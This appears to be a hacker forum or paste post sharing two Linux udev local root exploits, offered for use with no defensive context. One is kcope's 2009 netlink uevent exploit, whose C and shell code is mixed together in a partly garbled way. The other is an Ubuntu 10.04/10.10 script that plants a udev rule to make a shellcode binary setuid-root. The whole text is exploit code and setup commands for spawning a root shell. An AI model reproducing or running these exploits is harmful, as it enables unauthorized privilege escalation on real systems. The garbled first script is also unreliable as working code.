UDEV Kcope bversion and the Undergroun bash version , have phunnnnnnn
XD / #HAXNET

#!/bin/sh
# Linux 2.6 Udev expl
# bug found by Sebastian Krahmer
# coded by kcope in 2009
# tested on debian-etch,ubuntu,gentoo
# do a 'cat /proc/net/netlink'
# and set the first arg to this
# script to the pid of the netlink socket
# (the pid is udevd_pid - 1 most of the time)
# + sploit has to be UNIX formatted text 
# + if it doesn't work the 1st time try more often
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sysexits.h>
#include <wait.h>
#include <signal.h>
#include <sys/socket.h>
#include <linux/types.h>
#include <linux/netlink.h>

#ifndef NETLINK_KOBJECT_UEVENT
#define NETLINK_KOBJECT_UEVENT 15
#endif
#define SHORT_STRING 64
#define MEDIUM_STRING 128
#define BIG_STRING 256
#define LONG_STRING 1024
#define EXTRALONG_STRING 4096
#define TRUE 1
#define FALSE 0

int socket_fd;
struct sockaddr_nl address;
struct msghdr msg;
struct iovec iovector;
int sz = 64*1024;

main(int argc, char **argv) {
char sysfspath[SHORT_STRING];
char subsystem[SHORT_STRING];
char event[SHORT_STRING];
char major[SHORT_STRING];
char minor[SHORT_STRING];
sprintf(event, "add");
sprintf(subsystem, "block");
sprintf(sysfspath, "/dev/foo");
sprintf(major, "8");
sprintf(minor, "1");
memset(&address, 0, sizeof(address));
address.nl_family = AF_NETLINK;
address.nl_pid = atoi(argv[1]);
address.nl_groups = 0;
msg.msg_name = (void*)&address;
msg.msg_namelen = sizeof(address);
msg.msg_iov = &iovector;
msg.msg_iovlen = 1;
socket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
bind(socket_fd, (struct sockaddr *) &address, sizeof(address));
char message[LONG_STRING];
char *mp;
mp = message;
mp += sprintf(mp, "%s@%s", event, sysfspath) +1;
mp += sprintf(mp, "ACTION=%s", event) +1;
mp += sprintf(mp, "DEVPATH=%s", sysfspath) +1;
mp += sprintf(mp, "MAJOR=%s", major) +1;
mp += sprintf(mp, "MINOR=%s", minor) +1;
mp += sprintf(mp, "SUBSYSTEM=%s", subsystem) +1;
mp += sprintf(mp, "REMOVE_CMD=/bin/bash -i") +1;
iovector.iov_base = (void*)message;
iovector.iov_len = (int)(mp-message);
char *buf;
int buflen;
buf = (char *) &msg;
buflen = (int)(mp-message);
sendmsg(socket_fd, &msg, 0);
close(socket_fd);
sleep(10);
execl("/tmp/acc", "acc", (void*)0);
}

gcc ud.c -o /tmp/ud
cat > prog.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
setgid(0);
setuid(0);
unsetenv("LD_PRELOAD");
execl("/bin/sh","sh","-c","/tmp/acc",NULL);
}
gcc -o prog.o -c prog.c -fPIC
gcc -shared -Wl,-soname,slib_ex.so.1 -o slib_ex.so.1.0 prog.o -nostartfiles

int main(void) {
setgid(0);
setuid(0);
execl("/bin/sh","/bin/sh",0);
}
gcc -o /tmp/acc acc.c
cp slib_ex.so.1.0 /tmp/slib_ex.so.1.0
/tmp/ud $1

And for the best version of all…

#!/bin/sh
# ubuntu 10.04 , 10.10 udev local root
if [ -z "$1" ]
then
echo "Usage: $0 <UDEV KERNEL EVENT>"
echo "See http://www.reactivated.net/writing_udev_rules.html"
exit
fi
cat > usn.sh << EOF
#!/bin/sh
chown root:root $PWD/usn
chmod +s $PWD/usn
EOF
cat > usn.c << EOF
char *s="\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
main(){
int *r;
*((int *)&r+2)=(int)s;
}
EOF
gcc usn.c -o usn
echo "KERNEL==\"$1\", RUN+=\"$PWD/usn.sh\"" >> /dev/.udev/rules.d/root.rules
chmod +x usn.sh
echo "All set, now wait for udev to restart (reinstall, udev upgrade, SE, raep, threat)"
echo "Once the conf is reloaded, just make the udev event happen : usn file will get suid-root"